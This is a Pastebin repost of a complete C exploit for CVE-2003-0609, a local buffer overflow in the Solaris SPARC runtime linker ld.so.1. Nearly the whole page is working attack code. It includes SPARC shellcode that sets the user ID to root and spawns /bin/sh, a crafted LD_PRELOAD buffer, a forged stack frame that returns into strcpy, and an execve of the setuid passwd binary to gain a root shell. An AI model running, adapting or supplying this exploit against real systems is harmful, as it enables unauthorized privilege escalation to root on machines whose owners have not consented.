Advertisement
FlyFar

Solaris Runtime Linker (SPARC) - 'ld.so.1' Local Buffer Overflow - CVE-2003-0609

Feb 17th, 2024
945
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.94 KB | Cybersecurity | 0 0
  1. /* #############################
  2.  * ## ld.so.1 exploit (SPARC) ##
  3.  * #############################
  4.  * [coded by: osker178 (bjr213 psu.edu)]
  5.  *
  6.  * Alright, so this exploits a fairly standard buffer
  7.  * overflow in the default Solaris runtime linker (ld.so.1)
  8.  * (discovery by Jouko Pynnonen)
  9.  * Only real deviation here from the standard overflow
  10.  * and return into libc scenario is that at the time that
  11.  * overflow occurs, the libc object file has not been loaded;
  12.  * so it's not really possible to return into a libc function.
  13.  * However, this poses no real problem to us, as ld.so.1
  14.  * provides it's own ___cpy() functions which we can use to
  15.  * move our shellcode into an appropriate place in memory.  
  16.  *
  17.  * Some things to note:
  18.  *
  19.  *  -  obviously some of the pre-defined addresses will have to be changed
  20.  *  
  21.  *  -  1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
  22.  *     overwriting a char *; this is actually very helpful for locating where
  23.  *     the rest of our information is stored in memory, as this pointer
  24.  *     will be used to display another error message, showing us what string
  25.  *     is stored at the address we overwrote this pointer with.
  26.  *  
  27.  *  -  ... eh, that's enough, just look at the code to figure the rest out
  28.  */
  29. #include <dlfcn.h>
  30. #include <stdio.h>
  31. #include <signal.h>
  32. #include <setjmp.h>
  33. #include <unistd.h>
  34. #include <stdlib.h>
  35. #include <string.h>
  36. #include <sys/mman.h>
  37. #include <link.h>
  38.  
  39.  
  40. char SPARC_sc[] =
  41.   /* setuid(0) */
  42.   "\x90\x1b\xc0\x0f" /* xor     %o7,%o7,%o0 */
  43.   "\x82\x10\x20\x17" /* mov     23,%g1 | 23 == SYS_setuid()*/
  44.   "\x91\xd0\x20\x08" /* ta      8 */
  45.  
  46.   /* setreuid(0,0) - for me at least, these both had to be called */
  47.   "\x92\x1a\x40\x09" /* xor     %o1,%o1,%o1 */
  48.   "\x82\x10\x20\xca" /* mov     202, %g1 | 202 == SYS_setreuid()*/
  49.   "\x91\xd0\x20\x08" /* ta      8 */
  50.  
  51.   /* exec(/bin/sh) */
  52.   "\x21\x0b\xd8\x9a" /* sethi   %hi(0x2f626800), %l0 */
  53.   "\xa0\x14\x21\x6e" /* or      %l0, 0x16e, %l0 ! 0x2f62696e */
  54.   "\x23\x0b\xdc\xda" /* sethi   %hi(0x2f736800), %l1 */
  55.   "\x90\x23\xa0\x10" /* sub     %sp, 16, %o0 */
  56.   "\x92\x23\xa0\x08" /* sub     %sp, 8, %o1 */
  57.   "\x94\x1b\x80\x0e" /* xor     %sp, %sp, %o2 */
  58.   "\xe0\x3b\xbf\xf0" /* std     %l0, [%sp - 16] */
  59.   "\xd0\x23\xbf\xf8" /* st      %o0, [%sp - 8] */
  60.   "\xc0\x23\xbf\xfc" /* st      %g0, [%sp - 4] */
  61.   "\x82\x10\x20\x3b" /* mov     59, %g1 | 59 = SYS_execve() */
  62.   "\x91\xd0\x20\x08" /* ta      8 */
  63. ;
  64.  
  65.  
  66. const long FRAME_ADDR = 0xffbee938;
  67. const long SHELLCODE_ADDR = 0xffbef17a;  
  68. const long DESTCPY_ADDR = 0xff3e7118;
  69. const long DEF_OFFSET = 0x20;
  70.  
  71. const int ENV_STR_SIZE = 2048;
  72. const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
  73. const int DEF_FPAD_LEN = 4;
  74. const int REC_BUF_SIZE = 1456;
  75.  
  76.  
  77. char * get_ld_env(int buf_len, long offset);
  78. char * get_fake_frame(long offset);
  79. char * get_envs_str(char fill);
  80. unsigned long get_strcpy_addr();
  81.  
  82.  
  83.  
  84. /* ********************************************** *
  85.  * ******************** MAIN ******************** *
  86.  * ********************************************** */
  87.  
  88. int main(int argc, char **argv)
  89. {
  90.  
  91.   char *prog[3];
  92.   char *envs[7];  
  93.   char opt;
  94.   int buf_size = -1;
  95.   int fpad_len = -1;
  96.   long offset = -1;
  97.  
  98.   char *ld_pre_env = 0x0;
  99.   char *fake_frame = 0x0;
  100.  
  101.  
  102.   /* padding of sorts */
  103.   char *envs_str1 = 0x0;
  104.   char *envs_str2 = 0x0;
  105.   char *fpad_buf = 0x0;
  106.  
  107.   // ------------------------------------------------ //
  108.  
  109.  
  110.   while((opt = getopt(argc, argv, "s:o:p:")) != -1)
  111.   {
  112.     switch(opt) {
  113.     case 's':
  114.       if(!optarg) {
  115.     printf("-s needs size argument\n");
  116.     exit(0);
  117.       }
  118.       else
  119.     buf_size = atoi(optarg);
  120.       break;
  121.  
  122.     case 'o':
  123.       if(!optarg) {
  124.     printf("-o needs offset argument\n");
  125.     exit(0);
  126.       }
  127.       else
  128.     offset = atol(optarg);
  129.       break;
  130.  
  131.     case 'p':
  132.       if(!optarg) {
  133.     printf("-p needs pad length argument\n");
  134.     exit(0);
  135.       }
  136.       else {
  137.     fpad_len = atoi(optarg);
  138.     if(fpad_len < 0)
  139.       fpad_len = 0;
  140.       }
  141.       break;
  142.  
  143.     default:
  144.       printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
  145.       exit(0);
  146.  
  147.     }
  148.    
  149.     argc -= optind;
  150.     argv += optind;
  151.   }
  152.  
  153.   printf("\n#######################################\n");
  154.   printf("# ld.so.1 LD_PRELOAD (SPARC) exploit  #\n");
  155.   printf("# coded by: osker178 (bjr213@psu.edu) #\n");
  156.     printf("#######################################\n\n");
  157.  
  158.   if(buf_size == -1)
  159.   {
  160.     printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
  161.     buf_size = REC_BUF_SIZE;
  162.   }
  163.   else if(buf_size % 4)
  164.   {
  165.     buf_size = buf_size + (4 - (buf_size%4));
  166.     printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size);
  167.   }
  168.  
  169.  
  170.   if(offset == -1)
  171.   {
  172.     printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
  173.     offset = DEF_OFFSET;
  174.   }  
  175.   else if((FRAME_ADDR + offset) % 8)
  176.   {
  177.     offset = offset + (8 - (offset%8));
  178.     printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
  179.     printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
  180.   }
  181.  
  182.  
  183.   if(fpad_len == -1)
  184.   {
  185.     printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN);
  186.     fpad_len = DEF_FPAD_LEN;
  187.   }
  188.  
  189.   // -------------------------------------------------- //
  190.  
  191.  
  192.   ld_pre_env = get_ld_env(buf_size, offset);
  193.   if(!ld_pre_env)
  194.     exit(0);
  195.  
  196.   fake_frame = get_fake_frame(offset);
  197.   if(!fake_frame)
  198.     exit(0);
  199.  
  200.   envs_str1 = get_envs_str('1');
  201.   if(!envs_str1)
  202.     exit(0);
  203.  
  204.   envs_str2 = get_envs_str('2');
  205.   if(!envs_str2)
  206.     exit(0);
  207.  
  208.    
  209.  
  210.   // -------------------------------------------------- //
  211.  
  212.  
  213.   fpad_buf = (char *)malloc(fpad_len+1);
  214.   if(!fpad_buf)
  215.   {
  216.     perror("malloc");
  217.     exit(0);
  218.   }
  219.   memset(fpad_buf, 'F', fpad_len);
  220.   fpad_buf[fpad_len] = '\0';
  221.  
  222.  
  223.   envs[0] = fpad_buf;
  224.   envs[1] = fake_frame;
  225.   envs[2] = envs_str1;
  226.   envs[3] = SPARC_sc;
  227.   envs[4] = envs_str2;
  228.   envs[5] = ld_pre_env;
  229.   envs[6] = NULL;
  230.  
  231.   prog[0] = "/usr/bin/passwd";
  232.   prog[1] = "passwd";
  233.   prog[2] = NULL;
  234.  
  235.   execve(prog[0], prog, envs);
  236.  
  237.   perror("execve");
  238.  
  239.   return 0;
  240. }
  241.  
  242.  
  243. /* ********************************************** */
  244.  
  245.  
  246.  
  247.  
  248.  
  249. /* ********************************************** *
  250.  * ***************** GET_LD_ENV ***************** *
  251.  * ********************************************** */
  252. char * get_ld_env(int buf_len, long offset)
  253. {
  254.   long *lp;
  255.   char *buf;
  256.   char *ld_pre_env;
  257.   unsigned long strcpy_ret;
  258.  
  259.   strcpy_ret = get_strcpy_addr();
  260.   if(!strcpy_ret)
  261.     return 0;
  262.   else
  263.     printf("strcpy found at [0x%x]\n\n", strcpy_ret);
  264.  
  265.   /*
  266.    * buf_size --> main requested length (rounded up to nearest factor of 4)
  267.    * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite
  268.    * +1 --> for the "/" character that must be appended in order to pass the strchr()
  269.    *        and strrchr() tests (see <load_one>: from objdump -d /usr/lib/ld.so.1)
  270.    * +1 --> '\0' obviously
  271.    */
  272.   buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1);
  273.   if(!buf)
  274.   {
  275.     perror("malloc");
  276.     return 0;
  277.   }
  278.  
  279.  
  280.   memset(buf, 'A', buf_len);
  281.   buf[0] = '/';
  282.  
  283.   /* this is the location of the (char *) in ld.so.1 we are overwriting
  284.    * -> use this to find the address of the environment
  285.    *    arguments (whatever value we write at this address
  286.    *    is what will be displayed in an error message
  287.    *    from ld.so.1 after the error message generated from
  288.    *    our insecure path provided in LD_PRELOAD)
  289.    */
  290.   lp = (long *)(buf + 1124);
  291.   *lp++ = FRAME_ADDR + offset;
  292.  
  293.   lp = (long *)(buf + buf_len);
  294.  
  295.   /* %l regs - as far as we're concerned, these
  296.    *           values don't matter (i've never
  297.    *           had a problem with them)
  298.    */
  299.   *lp++ = 0x61616161; /* %l0 */
  300.   *lp++ = 0x62626262; /* %l1 */
  301.   *lp++ = 0x63636363; /* %l2 */
  302.   *lp++ = 0x64646464; /* %l3 */
  303.   *lp++ = 0x65656565; /* %l4 */
  304.   *lp++ = 0x66666666; /* %l5 */
  305.   *lp++ = 0x67676767; /* %l6 */
  306.   *lp++ = 0x68686868; /* %l7 */
  307.  
  308.   /* %i regs */
  309.   *lp++ = 0x69696969;     /* %i0 */
  310.   *lp++ = 0x70707070;     /* %i1 */
  311.   *lp++ = 0x71717171;     /* %i2 */
  312.   *lp++ = 0x72727272;     /* %i3 */
  313.   *lp++ = 0x73737373;     /* %i4 */
  314.   *lp++ = 0x74747474;     /* %i5 */
  315.   *lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */
  316.   *lp = strcpy_ret;      /* ret address/%i7 */
  317.   strcat(buf, "/");
  318.  
  319.  
  320.   /* put together our LD_PRELOAD buffer */
  321.   ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1);
  322.   if(!ld_pre_env)
  323.   {
  324.     perror("malloc");
  325.     return 0;
  326.   }
  327.  
  328.   strcpy(ld_pre_env, "LD_PRELOAD=");
  329.   strcat(ld_pre_env + strlen(ld_pre_env), buf);
  330.  
  331.   free(buf);
  332.  
  333.   return ld_pre_env;
  334. }
  335.  
  336.  
  337.  
  338.  
  339. /* ********************************************** *
  340.  * *************** GET_FAKE_FRAME *************** *
  341.  * ********************************************** */
  342. char * get_fake_frame(long offset)
  343. {
  344.   long destcpy_addr;
  345.   long *lp;
  346.   char *frame = (char *)malloc(FRAME_SIZE + 1);
  347.  
  348.   if(!frame)
  349.   {
  350.     perror("malloc");
  351.     return 0;
  352.   }
  353.  
  354.   /* this worked for me; may have to adjust though
  355.    * - can easily find a good place by using gdb and pmap */
  356.   destcpy_addr = get_strcpy_addr() + 0x17000;
  357.  
  358.   lp = (long *)frame;
  359.  
  360.   /* %l regs - values don't matter */
  361.   *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */
  362.   *lp++ = 0xdeaddead; /* %l1 */
  363.   *lp++ = 0xdeaddead; /* %l2 */
  364.   *lp++ = 0xdeaddead; /* %l3 */
  365.   *lp++ = 0xdeaddead; /* %l4 */
  366.   *lp++ = 0xdeaddead; /* %l5 */
  367.   *lp++ = 0xdeaddead; /* %l6 */
  368.   *lp++ = 0xdeaddead; /* %l7 */
  369.  
  370.   /* %i regs */
  371.   *lp++ = destcpy_addr;              /* %i0 - DESTINATION ADDRESS for ___cpy() */
  372.   *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */
  373.   *lp++ = 0xdeaddead;                /* %i2 - size*/
  374.   *lp++ = 0xdeaddead;                /* %i3 */
  375.   *lp++ = 0xdeaddead;                /* %i4 */
  376.   *lp++ = 0xdeaddead;                /* %i5 */
  377.   *lp++ = destcpy_addr+0x200;        /* saved frame pointer/%i6(sp) */
  378.   *lp++ = destcpy_addr-0x8;          /* %i7 */
  379.   *lp++ = 0x0;
  380.  
  381.   return frame;
  382. }
  383.  
  384.  
  385.  
  386. /* ********************************************** *
  387.  * **************** GET_ENVS_STR **************** *
  388.  * ********************************************** */
  389. char * get_envs_str(char fill)
  390. {
  391.   char *envs_str = (char *)malloc(ENV_STR_SIZE + 1);
  392.  
  393.   if(!envs_str)
  394.   {
  395.     perror("malloc");
  396.     return 0;
  397.   }
  398.  
  399.  
  400.   memset(envs_str, fill, ENV_STR_SIZE);
  401.   envs_str[0] = 'b'; // \
  402.   envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables  */
  403.   envs_str[2] = 'g'; // /  
  404.   envs_str[ENV_STR_SIZE] = '\0';
  405.  
  406.   return envs_str;
  407. }
  408.  
  409.  
  410.  
  411. /* ********************************************** *
  412.  * *************** GET_STRCPY_ADDR ************** *
  413.  * ********************************************** */
  414. unsigned long get_strcpy_addr()
  415. {
  416.   void *handle;
  417.   Link_map *lm;
  418.   unsigned long addr;
  419.  
  420.   if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL)
  421.   {
  422.     perror("dlmopen");
  423.     return 0;
  424.   }
  425.  
  426.  
  427.   if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1)
  428.   {
  429.     perror("dlinfo");
  430.     return 0;
  431.   }
  432.  
  433.  
  434.   if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL)
  435.   {
  436.     perror("dlsym");
  437.     return 0;
  438.   }
  439.  
  440.   /* -4 to skip save and use
  441.    * our fake frame instead */
  442.   addr -= 4;
  443.  
  444.   /* make sure addr doesn't contain any 0x00 bytes,
  445.    * or '/' characters (as this is where strcpy will
  446.    * cutoff in ld.so.1) */
  447.   if( !(addr & 0xFF) || !(addr & 0xFF00) ||
  448.       !(addr & 0xFF0000) || !(addr & 0xFF000000) ||
  449.       ((addr & 0xFF) == 0x2f) ||
  450.       ((addr & 0xFF00) == 0x2f) ||
  451.       ((addr & 0xFF0000) == 0x2f) ||
  452.       ((addr & 0xFF000000) == 0x2f) )
  453.   {
  454.     printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr);
  455.     printf("       -> consider using strncpy, memcpy, or another similar substitute instead.\n");
  456.     return 0;
  457.   }
  458.  
  459.   return addr;
  460. }
  461.  
  462.  
  463. // milw0rm.com [2003-10-27]
  464.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement